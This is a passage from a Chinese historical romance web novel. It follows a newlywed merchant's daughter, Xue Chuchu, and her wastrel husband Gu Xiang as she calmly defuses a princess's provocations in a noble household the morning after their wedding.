“你……”顾湘鼓足勇气,忍不住问道,声音里带着连他自己都未曾察觉的乞求,“你……不生气吗?” 薛楚楚穿鞋的动作顿了一下。她抬起头,再次看向顾湘,那双清 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她走到衣架前,取下一件外衫披在自己肩上。她的每一个动作,都带着一种掌控全局的淡定,与顾湘的慌乱形成了鲜明的对比。 “顾湘。”她忽然叫了他的名字,声音清冷,却带着一种不容置疑的威严。 “在!”顾湘下意识地挺直了背,仿佛面对的不是他的新婚妻子,而是那位喜欢玩弄人心的官家。 薛楚楚转过身,看着他,那双眼眸深邃而平静,一字一句,清晰地说道: “从今天起,你我就是夫妻。一荣俱荣,一损俱损。” “我不管你以前是什么样子,也不管你心里在想什么。我只希望,在人前,你能扮演好‘顾家二爷’这个角色。”她顿了顿,语气里带着一丝警告:“至少,别让我,也别让顾家,丢脸丢得太难看。” 说完,她便不再看他,扬声对外喊道:“青禾,进来伺候。” 门被推开,早就等候在门外的青禾带着几个丫鬟走了进来,几人训练有素,目不斜视,仿佛顾湘这个新姑爷根本不存在。 顾湘还愣在原地,反复咀嚼着薛楚楚刚才说的那几句话。 一荣俱荣,一损俱损…… 扮演好“顾家二爷”…… 她……她这是什么意思?她好像,并没有他想象中那么绝望?甚至,她好像已经开始为他们两个人的“未来”,不,是为她的“未来”,做打算了?她的平静、理智、决断,都远远超出了顾湘的认知。 顾湘的脑子,彻底乱了。他看着那个在丫鬟们的伺候下,从容地梳妆打扮的背影,在最初的惊慌和胆怯过后,只剩下类似于傻子般的喜悦。 她没有怪他,她说他们“一荣俱荣,一损俱损。” 15. 第 15 章 青禾无语地偷眼瞄着新任姑爷,那张惯常风流的桃花眼此刻写满了傻气,活脱脱像只刚从泥地里爬出来的哈巴狗,摇着尾巴,满心满眼都是她家小姐。 她不明白,英明神武、素来清醒的小姐,怎么就和这样一个人绑在了一起?虽然……这人看起来好像是个情根深种的,眼里除了小姐再无旁物,倒也不是全无用处。 然青禾一想到小姐本该嫁给那位顾家大公子,心里就忍不住左右衡量起来。 薛楚楚将青禾眼底那抹复杂的情绪尽收眼底,却并未多言。她只是平静地任由丫鬟们为她梳妆打扮,铜镜中映出的女子,眉目如画,肌肤胜雪。 看着镜中痴痴凝望自己的顾湘,薛楚楚挑眉。 顾湘傻傻地站在一旁,眼神一刻不离地追随着薛楚楚。她的一颦一笑,一个细微的动作,都让他心尖颤抖。她的平静、淡然,像一块磁石牢牢吸住了他的所有心神。 “小姐,吉时已到,老夫人和侯爷夫人都在前厅等着了。”青禾轻声提醒道,语气里带着一丝不易察觉的担忧。 薛楚楚缓缓起身,朱唇轻启:“走吧。” 她的声音依然清清冷冷,却带着一股安定人心的力量。 顾湘这才如梦初醒,慌忙跟上,却又在出门前,偷偷地带着几分小心翼翼地伸出手,想要去牵她的衣袖。然而,他的指尖刚刚靠近衣袂,薛楚楚便已迈出了门槛,那动作,是那么的自然,仿佛压根没注意到他伸出的手。顾湘尴尬地收回手,脸颊微热,却又在心底生出一丝难以言喻的满足——她没有直接拒绝,这算不算……不是最坏的结果? 薛楚楚感受身后的人没动作,她脚步微顿侧头向后往去,似乎在催促又似在询问对方为何没有跟上来。 仿佛是收到了主人的召唤,顾湘桃花眼一亮,快步的向前走去,脚步是数月以来最轻快的一次。 顾湘跟在薛楚楚身后,仔细回想心上人说过的每个字,心头泛起层层涟漪。方才薛楚楚那句“一荣俱荣,一损俱损”,像一汪清泉浇灭了他心底自惭形秽的火焰,却又燃起了另一种无法言喻的、带着几分卑微的希望。 甚至让原本自行惭愧的顾湘,心中升起妄念。她……她真的不怪他,那是不是代表她真的愿意与他,与他这个纨绔,捆绑在一起吗? 他偷偷抬眼,看向前方那道纤细却挺拔的背影。妃色的衣裙在阳光下流淌着绮丽的光泽,衬得她整个人如画中走出的仙子。 或许她只是被逼无奈,不得不接受现实。可她方才那份冷静与决断,那份不容置疑的威严,却又让顾湘隐隐觉得她并非真的无可奈何,仿佛……掌控着一切的人是她。 正堂的门槛高高,薛楚楚轻盈迈过,顾湘却在门前犹豫了一下。他深吸一口气,像是要将所有杂念都压下去,然后,他踏入了这片凝重得仿佛能滴出水来的空间。 一入正堂,顾湘便感觉到数道目光如刀般落在自己身上。有父亲顾渊的怒火,有母亲张氏的担忧,也有……另一道带着明显敌意的、冰冷的视线。 他抬头,便看到了坐在顾渊下首的幼宁公主。今日的幼宁公主,身着一袭月白色锦衣,头戴金累丝嵌宝点翠头面,清雅却难掩其娇蛮之气。顾湘有有些迷茫,下意识的看了眼身边的薛楚楚,同样是新娘,怎么这位幼宁公主穿得如此素净。 再仔细看去,他发现幼宁公主的眉眼间带着一丝未散的倦怠,却又被强撑的傲慢所取代。此刻,她正用一种近乎审视的目光从头到脚打量着薛楚楚,嘴角带着一丝若有似无的嘲讽。 顾湘心头划过明悟,他看向自家兄长,只见顾泽安静地坐在幼宁公主身旁,他脸色略显苍白,眉宇间笼罩着一层化不开的忧郁。眼神复杂地迎上他的眼神,随即迅速收回,仿佛不愿与任何人对视。 虽然只有一眼,但顾湘瞬间明白对方的想法。 “二弟和二弟媳今日的步履颇有‘王孙游不归,春草芳萋萋’的意趣呢,只是让父亲母亲在这里久等,未免辜负昭华。”幼宁公主轻启朱唇,语气阴阳怪气,带着明显的挑衅。她不等顾湘和薛楚楚行礼,便直接发难,显然是早有准备。 顾渊闻言,脸色更沉,手中的茶杯终于“砰”地一声,重重地磕在了桌上。他看向顾湘的眼神,充满了失望与怒火。 顾湘心头一紧,下意识地想要开口为薛楚楚辩解,想说他刚醒,又说自己宿醉。可薛楚楚却先他一步,微微侧身,向着上首的顾渊和张氏,以及幼宁公主和顾泽,盈盈一拜。 “儿媳薛氏,见过父亲、母亲,见过公主殿下,见过大哥。”她的声音清清冷冷,不卑不亢,礼数周全,挑不出一丝错处。每个称呼都恰到好处,既尊重了身份,又没有丝毫谄媚。 顾湘愣了一下,他突然意识到,薛楚楚根本不需要他来出头。 张氏见状,连忙招手道:“快,快起来,都是一家人,不用多礼。”她看向薛楚楚的眼神带着几分复杂,既有对这桩婚事的无奈,也有一丝对薛楚楚能够如此沉稳应对的赞许。 幼宁公主却冷哼一声,没有理会薛楚楚的行礼,反而将目光投向顾湘,眼神中带着几分怨怼:“二弟倒是好兴致,新婚之夜都能醉成那般模样,看来对这桩姻事,也是敷衍得很呐。”她这话看似在说顾湘,实则是在暗讽薛楚楚。 顾湘的脸色瞬间沉了下来,他刚要反驳,却被薛楚楚轻轻拉了一下衣袖。那动作极轻,却带着一股不容置疑的力道。 “公主殿下说笑了。”薛楚楚抬眸,目光平静地迎上幼宁公主的视线,没有丝毫退缩:“顾湘昨夜是喝得多了些,但那也是因为高兴。能娶得心上人,自是喜不自胜。弟妹初来乍到,不懂顾家卯时定省的规矩,还请公主殿下莫要怪罪。” 她这话一出,顾湘的心脏猛地一跳。 不待顾湘心中胡思乱想,幼宁公主的脸色却是一僵,有些忐忑的看向顾泽,见顾泽剑眉紧锁立刻知道自己的话让对方不高兴了。 赵幼宁自幼被官家宠爱,即便她不是皇后嫡出,但皇后并没有公主,她的身份便是最尊贵的。因此她从来不会觉得是自己的问题,有问题的只能是别人。 薛楚楚这番话,看似谦逊,实则绵里藏针。她将顾湘的醉酒解释为“喜不自胜”,巧妙地化解了她的嘲讽,反而将顾湘描绘成一个情根深 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然而,顾湘的反应更快!他几乎是条件反射般地,猛地向前一步,高大的身躯瞬间挡在了薛楚楚身前。那滚烫的茶水,尽数泼洒在他的胸口,将他崭新的喜服浸湿了一大片。 “嘶……”顾湘闷哼一声,茶水透过衣料灼得他生疼,但他却丝毫不顾,只是紧紧地将薛楚楚护在身后,怒目瞪向那宫女。 那宫女吓得“扑通”一声跪倒在地,颤声道:“奴婢……奴婢该死!奴婢不是故意的,公主恕罪,二爷恕罪!” 幼宁公主见状,脸色瞬间变得铁青。她原本是想给薛楚楚一个下马威,让她在新婚第一天就出个丑,没想到顾湘竟然会这般护着她,甚至不惜自己受伤!这让她感到前所未及的羞辱和嫉妒。 一个商女竟然也有人护着? “废物!连这点小事都办不好!”幼宁公主口中呵斥,语气中却未有恼怒之意:“你这贱婢,平时最是谨慎小心的,怎么今日如此?莫不是学起来了那“外头来的”,贯会装柔弱,躲在男人身后让人以为你受了多大的委屈?” “住口!”顾湘猛地转身,直视幼宁公主,他的桃花眼里此刻没有丝毫风流,只有熊熊燃烧的怒火:“公主殿下,这是宁远侯府,不是您的公主府!我顾湘的妻子,还轮不到一个宫女来泼茶羞辱!” 他这话一出,满堂皆惊。顾湘平日里虽然纨绔,但对皇室中人,尤其是有封号的公主,表面上还是会维持恭敬。如今为了薛楚楚,他竟敢当面顶撞幼宁公主,这简直是胆大包天! 顾渊的脸色已经不能用铁青来形容,简直是乌云密布,他猛地拍案而起:“顾湘!你放肆!怎么跟公主说话的!” 张氏也吓得花容失色,连忙上前拉住顾湘的衣袖,低声劝道:“湘儿,莫要胡闹!快给公主赔罪!” 顾湘却像没听到一般,他胸口还在隐隐作痛,但比起身体上的疼痛,幼宁公主对薛楚楚的羞辱更让他怒不可遏。 “我放肆?”顾湘冷笑一声,眼神锐利地扫过幼宁公主和那跪在地上的宫女。 16. 第 16 章 “我看是公主殿下太过放肆!我顾湘再不济,也是宁远侯府的二爷,我家楚楚再出身商贾,也是顾侯府明媒正娶的二夫人!一个区区宫女,竟敢对我夫人无礼,这其中若无公主指使,谁信?!” 他这话彻底撕破了幼宁公主的虚伪,将她的意图赤裸裸地摆在了众人面前。幼宁公主气得浑身发抖,指着顾湘,脸色煞白:“你……你血口喷人!” “血口喷人?”顾湘嗤笑一声,“公主殿下,您是贵人,自然不会与我等凡人计较。但今日之事,若传了出去,只怕有损公主殿下的贤名,也让外人以为,公主殿下作为嫂嫂对自己的弟妹,竟是如此容不下!” 他特意强调了“嫂嫂”二字,无疑是在提醒幼宁公主,薛楚楚如今是顾泽的弟媳,是顾家的二夫人,她的身份不容轻辱。 顾泽一直沉默不语,此刻听到顾湘这番话,脸色变得更加苍白。他欲言又止,最终只是重重地叹了口气,这声叹息让赵幼宁的肩膀瞬间垮了一半。 顾渊气得胡子颤抖,他指着顾湘半晌说不出话来。他万万没想到,这个平日里只会惹是生非的儿子,竟然会为了一个刚过门的妻子,与公主闹得如此僵硬。这不仅是打了幼宁公主的脸,更是打了顾家的脸! 就在气氛剑拔弩张,仿佛下一刻就要爆发之时,一直被顾湘护在身后的薛楚楚,却缓缓地走了出来。她轻轻拍了拍顾湘的手臂,示意他稍安勿躁。 她的目光先是落在顾湘湿透的胸口,眼中闪过一丝不易察觉的担忧,随后又恢复了平静。她看向幼宁公主,嘴角勾起一抹浅淡的弧度,那弧度很淡,却带着一种令人无法忽视的自信与从容。 “公主殿下息怒。” 薛楚楚的声音,清亮而沉稳,仿佛一股清流,瞬间冲淡了正堂内凝重的火药味:“顾湘性子耿直,不谙言辞,若有冒犯之处,还请公主殿下海涵。” 她先是替顾湘开脱了一句,随后话锋一转。 “不过,顾湘说得也有几分道理。今日是顾家大喜的日子,本不该有这些不愉快。” “楚楚不久前曾得见国师,当时国师留下一味补汤,名唤安神,最是平心静气颐养神髓,我本打算等下送到公主府的。” 说着她轻唤一声,青禾便从门外走了进来,她手中端着一个精致的白瓷托盘,上面放着四盏冒着热气的汤盅。汤盅是上好的官窑天青,汤色清澈,散发着一股淡淡的草药清香。 赵幼宁脸色变了变,一双眸子满是不甘,这是拿国师来压她。当朝国师乃是先帝亲封,历经三代君主,他出手之物绝非凡品。 这汤说是赔罪,实际上却隐隐带着下马威,毕竟连她这个公主都从未自国师手中得到什么。 在国师眼中他们这些龙子凤孙具是平庸之辈,五皇兄曾经几次与其偶遇,可对方反而对五皇兄越来越疏离。 想到这里,幼宁公主回头看向顾泽,见对方低垂这头,那争抢之心瞬间消散大半。 青禾将汤盅恭敬地递到薛楚楚手中,薛楚楚接过,又亲手递到众人面前,动作优雅,姿态从容。 “好好,儿媳妇。”张夫人满眼欣赏的看着薛楚楚,之前对于商贾之家的担忧此时烟消云散。小儿媳行事大方,可比幼宁公主好得多,张夫人出身陇西张家,是张家本代的嫡长女,此时看着薛楚楚眼中带上满意。 她转头看向宁远侯顾渊:“侯爷。” 顾渊点点头,他无奈的看了眼幼宁公主,刚刚这位见礼的时候,可是敷衍的紧。罢了罢了,天皇贵胄本就不同。 “以后你便是大人,切不可如往日般淘气。”看着小儿子,顾渊的头又开始疼起来,他无奈的深吸一口气,淡淡的吩咐道。 至此,薛楚楚终于名正言顺的成为了宁远侯府的二少奶奶。至于宁远侯几人的见面礼,早就命人送到他们的院子去了,勋贵人家的礼物自不可能是一两件,再来有些东西也不适合显露在明面。 看到父母都喝了汤,顾泽看向弟弟的眼神露出温和,幼宁公主看着那盏汤,脸色变幻不定。她自然知道这汤不会是毒药,但薛楚楚这番举动,无疑是在告诉她,她已经看穿了她的伎俩,并且以一种更高级、更体面的方式,反击了她。这汤,与其说是安神,不如说是警告。 顾湘一直随着薛楚楚动作,他看着薛楚楚这番行云流水的操作,眼中闪过一丝惊艳。他从未见过一个女子,能在如此紧张的局面下,依然保持如此的镇定与智慧。她没有歇斯底里,没有争吵哭闹,而是用一种润物细无声的方式,化解了危机,甚至还反将一军。 他只觉得,自己心心念念的月亮,此刻正散发着比任何时候都耀眼的光芒。 幼宁公主犹豫了片刻,最终在众目睽睽之下,接过那盏汤。她瞥了一眼顾泽,对方眼神中带着一丝不易察觉的劝意。她深吸一口气,然后缓缓地抿了一口那盏“安神汤”。 汤盅见底,薛楚楚微微一笑,再次行礼:“谢公主殿下赏脸。” 幼宁公主放下汤盅,脸色虽然依旧难看,但那股咄咄逼人的气焰却明显消退了几分。她知道,今日这一局,她输了。 顾渊见状,知道事情不能再僵持下去,他沉声对顾湘道:“顾湘,你伤了公主的宫女,又对公主无礼,罚你禁足三日闭门思过!”这惩罚听起来严厉,实则却是为了平息幼宁公主的怒火,同时也给了顾湘一个台阶下。 顾湘却不以为意,他看向薛楚楚,眼中带着一丝询问。薛楚楚对他轻轻摇了摇头,示意他接受。顾湘便拱手道:“是,父亲。” 顾渊又看向薛楚楚,语气缓和了些:“楚楚,你初来乍到,不必太过拘谨。今日之事,就到此为止吧。” 纤长的睫毛轻微抖动,薛楚楚再次行礼:“儿媳遵命。” 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她侧头,看向身旁那个高大的身影。顾湘的脸上还带着几分怒意未消的痕迹,但看向她的眼神,却充满了温柔与依赖。她知道,他方才的维护,是发自真心。 虽嫁给了一个纨绔,一个京城笑柄,但这笑柄,却在关键时刻为她挺身而出。这个傻气又深情的顾湘,比那位顾家大公子,果然更适合她。 回到新房,青禾连忙上前查看顾湘的伤势。喜服被茶水浸湿,胸口处红了一大片。顾湘却毫不在意,他只是看着薛楚楚,眼中带着几分忐忑。 “夫人,你……你真的不生气吗?”他还是忍不住问道。 薛楚楚看着他,眼神中带着一丝复杂的情绪。她伸出手,轻轻地触碰了一下他被茶水烫红的胸口,顾湘的身体猛地一僵。 “疼吗?”她的声音很轻,带着一丝不易察觉的柔和。 顾湘看着她近在咫尺的脸庞,闻着她身上淡淡的香气,只觉得心神荡漾。他摇了摇头,眼中充满了坚定:“不疼。只要夫人不生气,顾湘便不疼。” 薛楚楚闻言,嘴角勾起一抹极淡的笑意。她收回手,语气却恢复了平静:“顾湘,记住你今日说的话。我们是夫妻,一荣俱荣,一损俱损。往后,我顾家二夫人的名头,便需要你来支撑。” 顾湘的眼睛猛地亮了起来,他重重地点头,声音坚定有力:“夫人放心!顾湘定不负夫人所望!” 他看着薛楚楚,心中涌起一股前所未有的力量。为了她,他可以改变一切,为了她,他可以成为任何她希望他成为的样子。他要让她知道,她嫁的,绝不是一个只会让她蒙羞的废物!他要让她,成为这天下最令人艳羡的女子! 薛楚楚看着顾湘眼中那股被激发的斗志,心中也划过一丝满意。 她轻轻弯起唇角,目光望向窗外。